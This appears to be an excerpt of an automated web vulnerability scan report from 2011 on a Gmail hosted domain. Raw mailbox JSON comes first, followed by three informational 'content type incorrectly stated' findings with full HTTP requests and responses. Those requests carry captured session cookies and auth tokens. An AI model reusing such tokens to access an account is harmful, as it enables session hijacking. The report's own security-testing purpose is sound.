,"test","\u003cfont color\u003d#888888\u003e\u003cspan style\u003d\"font-family:Tahoma;font-size:10pt\"\u003etest\u003cbr\u003e\n\u003cbr\u003e\n\u003cdiv\u003e\u003c/div\u003e\u003c/span\u003e\n\u0
...[SNIP]...
5378422$@com\u003e","test","",,[0]
,,["en"]
,,0,[0]
,2,,,[]
,[]
,0,0,0,0,0]
,,0,"12:15 AM","12/31/10",0,,,"",[]
,0,"Fri, Dec 31, 2010 at 12:15 AM",[]
,,,,0,,,0,0]
,["ms","12d39fe39dcc974a","",4,"test \u003ctest@test.cloudscan.us\u003e","test","test@test.cloudscan.us",1293776130000,"test",["^all","^i","^smartlabel_personal","^u"]
,0,1,"test",["12d39fe39dcc974a",["test@%domain.name%"]
,[]
,[]
,["test@test.cloudscan.us"]
,"test","\u003cfont color\u003d#888888\u003e\u003cspan style\u003d\"font-family:Tahoma;font-size:10pt\"\u003etest\u003cbr\u003e\n\u003cbr\u003e\n\u003cdiv\u003e\u003c/div\u003e\u003c/span\u003e\n\u0
...[SNIP]...
7ea911b$@com\u003e","test","",,[0]
,,["en"]
,,0,[0]
,2,,,[]
,[]
,0,0,0,0,0]
,,0,"12:15 AM","12/31/10",0,,,"",[]
,0,"Fri, Dec 31, 2010 at 12:15 AM",[]
,,,,0,,,0,0]
,["ms","12d39fe441848c77","",4,"test \u003ctest@test.cloudscan.us\u003e","test","test@test.cloudscan.us",1293776132000,"test",["^all","^i","^smartlabel_personal","^u"]
,0,1,"test",["12d39fe441848c77",["test@%domain.name%"]
,[]
,[]
,["test@test.cloudscan.us"]
,"test","\u003cfont color\u003d#888888\u003e\u003cspan style\u003d\"font-family:Tahoma;font-size:10pt\"\u003etest\u003cbr\u003e\n\u003cbr\u003e\n\u003cdiv\u003e\u003c/div\u003e\u003c/span\u003e\n\u0
...[SNIP]...
7459490,"12d3c1bdd50f84b1",["12d3c1bdd50f84b1"]
,[]
,[]
,[["12d3c1bdd50f84b1",["^all","^i","^smartlabel_newsletter","^u","^unsub"]
]
]
,,[]
,[]
,[]
]
,["ms","12d3c1bdd50f84b1","",4,"Aberdeen Research \u003cAberdeen.Research@aberdeenreport.com\u003e","Aberdeen Research","Aberdeen.Research@aberdeenreport.com",1293793601000,"If your email program has trouble displaying this message, click here to view...",["^all","^i","^smartlabel_newsletter","^u","^unsub"]
,0,1,"Weekly Recap | 19 Complimentary Reports",[
...[SNIP]...
5. Content type incorrectly stated  previous
There are 3 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

5.1. http://mail.google.com/a/%domain.name%/  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://mail.google.com
Path:   /a/%domain.name%/

Issue detail

The response contains the following Content-type statement:The response states that it contains script. However, it actually appears to contain plain text.

Request

POST /a/%domain.name%/?ui=2&ik=409aa4271e&rid=24..&view=cv&th=12d5b77eb2bac084&th=12d56533af063ec0&th=12d56462377ac35d&th=12d5284739a9425d&th=12d513ab934e1b08&th=12d4c06b440eb0c2&th=12d4bfd8f7f16759&th=12d46ec21531890d&th=12d43a867b1bdb0d&th=12d432ea130aaa55&prf=1&_reqid=466657&nsc=1&mb=0&rt=j&search=inbox HTTP/1.1
Host: mail.google.com
Proxy-Connection: keep-alive
Referer: http://mail.google.com/a/%domain.name%/?ui=2&view=js&name=main,tlist&ver=wwW1AwxxcRc.en.&am=!EEj2wTJ_eeX7BT6isYR2Wuzku6L8e4YqXKd_hjdMNBo8n4pRyHcxgOA&fri
X-Same-Domain: 1
Origin: http://mail.google.com
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=gmail=ede-5Fzm-XPUYA0THZ6ixA:gmproxy=TxotM9DUCmREqRHaEVn-MA; GMAIL_AT=AF6bupNTjLMoD4Tg7lnv6QkHpAiSU6QeVA; GXAS=%domain.name%=DQAAAJ0AAABGl6i-4R07SQFSkLcIWvY_gJfUxliuXJDgPhUrWV-XgXkkxhA487aVh3wWaECbtxZj08EDUt16OFeodYu_Xp5xafYKDk7K4iYJqbaylCfxuzeAEKOZzTm3o7hCnJivzjOc-5dMZMeqNjciXuLZo4OCdaa90KQC9_qKOUs7B9BDIqiz6R0j80sCnsiFHMEwCZt92-7gnY1odY3zjsgfUtWB; NID=42=IPrzGqlXxT-hhR8b4NhLsn-kDTIBdH-DTgTWdj7C7841z5JE0-jAFvevZioixg45GpsCS1YtEkGhHmI_bd8ZvDJ5zHqTfxJbIchHtmVTq5mLODx1la1rAd7WwN2TafVi; PREF=ID=11a9f75446a95c33:U=cb4433070cb825ea:FF=0:TM=1293845297:LM=1294446630:GM=1:S=PDWL1usx-O9MFWzl
Content-Length: 0

Response

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Date: Sat, 08 Jan 2011 00:30:32 GMT
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 1160

while(1);

[[["v","wwW1AwxxcRc.en.","8","3b4164befc55c3f8"]
,["di",32]
,["ub",[["^cob-processed-gmr",1294446612937]
,["^i",1294446612937]
,["^f",1294446625314]
,["Misc",1294446625314]
,["^k",129444662
...[SNIP]...
5.2. http://mail.google.com/a/%domain.name%/channel/bind  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://mail.google.com
Path:   /a/%domain.name%/channel/bind

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain JSON.

Request

POST /a/%domain.name%/channel/bind?VER=8&at=AF6bupNTjLMoD4Tg7lnv6QkHpAiSU6QeVA&it=1816&RID=3795&CVER=8&zx=gxtr2qh8bjm9&t=1 HTTP/1.1
Host: mail.google.com
Proxy-Connection: keep-alive
Referer: http://mail.google.com/a/%domain.name%/?ui=2&view=js&name=main,tlist&ver=wwW1AwxxcRc.en.&am=!EEj2wTJ_eeX7BT6isYR2Wuzku6L8e4YqXKd_hjdMNBo8n4pRyHcxgOA&fri
Origin: http://mail.google.com
Content-Type: application/x-www-form-urlencoded
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=gmail=ede-5Fzm-XPUYA0THZ6ixA:gmproxy=TxotM9DUCmREqRHaEVn-MA; GMAIL_AT=AF6bupNTjLMoD4Tg7lnv6QkHpAiSU6QeVA; gmailchat=victim.test.account.net/493125; GMAIL_IMP=v*2%2Fbc-se-5%2Fad-ra-cv_p%2Fad-nr-cv_p-f*1%2Fad-nr-cv_p-r*2%2Fad-dr-cv_p-r*1%2Fad-v-cv_p*1496%2Fad-ns-cv_p-f*1%2Ffn-v-ad%2Fad-ns-cv_p-bc*1%2Fad-ns-cv_p-r*2%2Fad-ds-cv_p-r*1%2Fcon-bw*1420*22!fast; GXAS=%domain.name%=DQAAAJ0AAABGl6i-4R07SQFSkLcIWvY_gJfUxliuXJDgPhUrWV-XgXkkxhA487aVh3wWaECbtxZj08EDUt16OFeodYu_Xp5xafYKDk7K4iYJqbaylCfxuzeAEKOZzTm3o7hCnJivzjOc-5dMZMeqNjciXuLZo4OCdaa90KQC9_qKOUs7B9BDIqiz6R0j80sCnsiFHMEwCZt92-7gnY1odY3zjsgfUtWB; NID=42=IPrzGqlXxT-hhR8b4NhLsn-kDTIBdH-DTgTWdj7C7841z5JE0-jAFvevZioixg45GpsCS1YtEkGhHmI_bd8ZvDJ5zHqTfxJbIchHtmVTq5mLODx1la1rAd7WwN2TafVi; PREF=ID=11a9f75446a95c33:U=cb4433070cb825ea:FF=0:TM=1293845297:LM=1294446630:GM=1:S=PDWL1usx-O9MFWzl
Content-Length: 7

count=0

Response

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Date: Sat, 08 Jan 2011 00:30:36 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 402

398
[[0,["c","A13D731ACC1CF09E","b",8]
]
,[1,["b"]
]
,[2,["c",["p",1,"","","",0,"",[]
,0,0]
]
]
,[3,["c",["ud","test@%domain.name%","RTFM RTFM","RTFM RTFM","RTFM",577557879478]
]
]
,[4,["c",["ast","",0
...[SNIP]...
5.3. http://mail.google.com/a/%domain.name%/channel/test  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://mail.google.com
Path:   /a/%domain.name%/channel/test

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain JSON.

Request

GET /a/%domain.name%/channel/test?VER=8&at=AF6bupNTjLMoD4Tg7lnv6QkHpAiSU6QeVA&it=297&MODE=init&zx=ktimrg70efpg&t=1 HTTP/1.1
Host: mail.google.com
Proxy-Connection: keep-alive
Referer: http://mail.google.com/a/%domain.name%/?ui=2&view=js&name=main,tlist&ver=wwW1AwxxcRc.en.&am=!EEj2wTJ_eeX7BT6isYR2Wuzku6L8e4YqXKd_hjdMNBo8n4pRyHcxgOA&fri
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=gmail=ede-5Fzm-XPUYA0THZ6ixA:gmproxy=TxotM9DUCmREqRHaEVn-MA; GMAIL_AT=AF6bupNTjLMoD4Tg7lnv6QkHpAiSU6QeVA; GMAIL_IMP=v*2%2Fad-ra-tl_i%2Fad-nr-tl_i-f*1%2Fad-v-tl_i*2013%2Fad-ds-tl_i-f*1%2Ffn-v-ad%2Fpf-s*3139; gmailchat=victim.test.account.net/493125; GXAS=%domain.name%=DQAAAJ0AAABGl6i-4R07SQFSkLcIWvY_gJfUxliuXJDgPhUrWV-XgXkkxhA487aVh3wWaECbtxZj08EDUt16OFeodYu_Xp5xafYKDk7K4iYJqbaylCfxuzeAEKOZzTm3o7hCnJivzjOc-5dMZMeqNjciXuLZo4OCdaa90KQC9_qKOUs7B9BDIqiz6R0j80sCnsiFHMEwCZt92-7gnY1odY3zjsgfUtWB; NID=42=IPrzGqlXxT-hhR8b4NhLsn-kDTIBdH-DTgTWdj7C7841z5JE0-jAFvevZioixg45GpsCS1YtEkGhHmI_bd8ZvDJ5zHqTfxJbIchHtmVTq5mLODx1la1rAd7WwN2TafVi; PREF=ID=11a9f75446a95c33:U=cb4433070cb825ea:FF=0:TM=1293845297:LM=1294446630:GM=1:S=PDWL1usx-O9MFWzl

Response

HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Date: Sat, 08 Jan 2011 00:30:32 GMT
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Length: 6
Server: GSE

["b"]
Report generated by CloudScan Vulnerability Crawler at Wed Jan 12 20:13:11 CST 2011.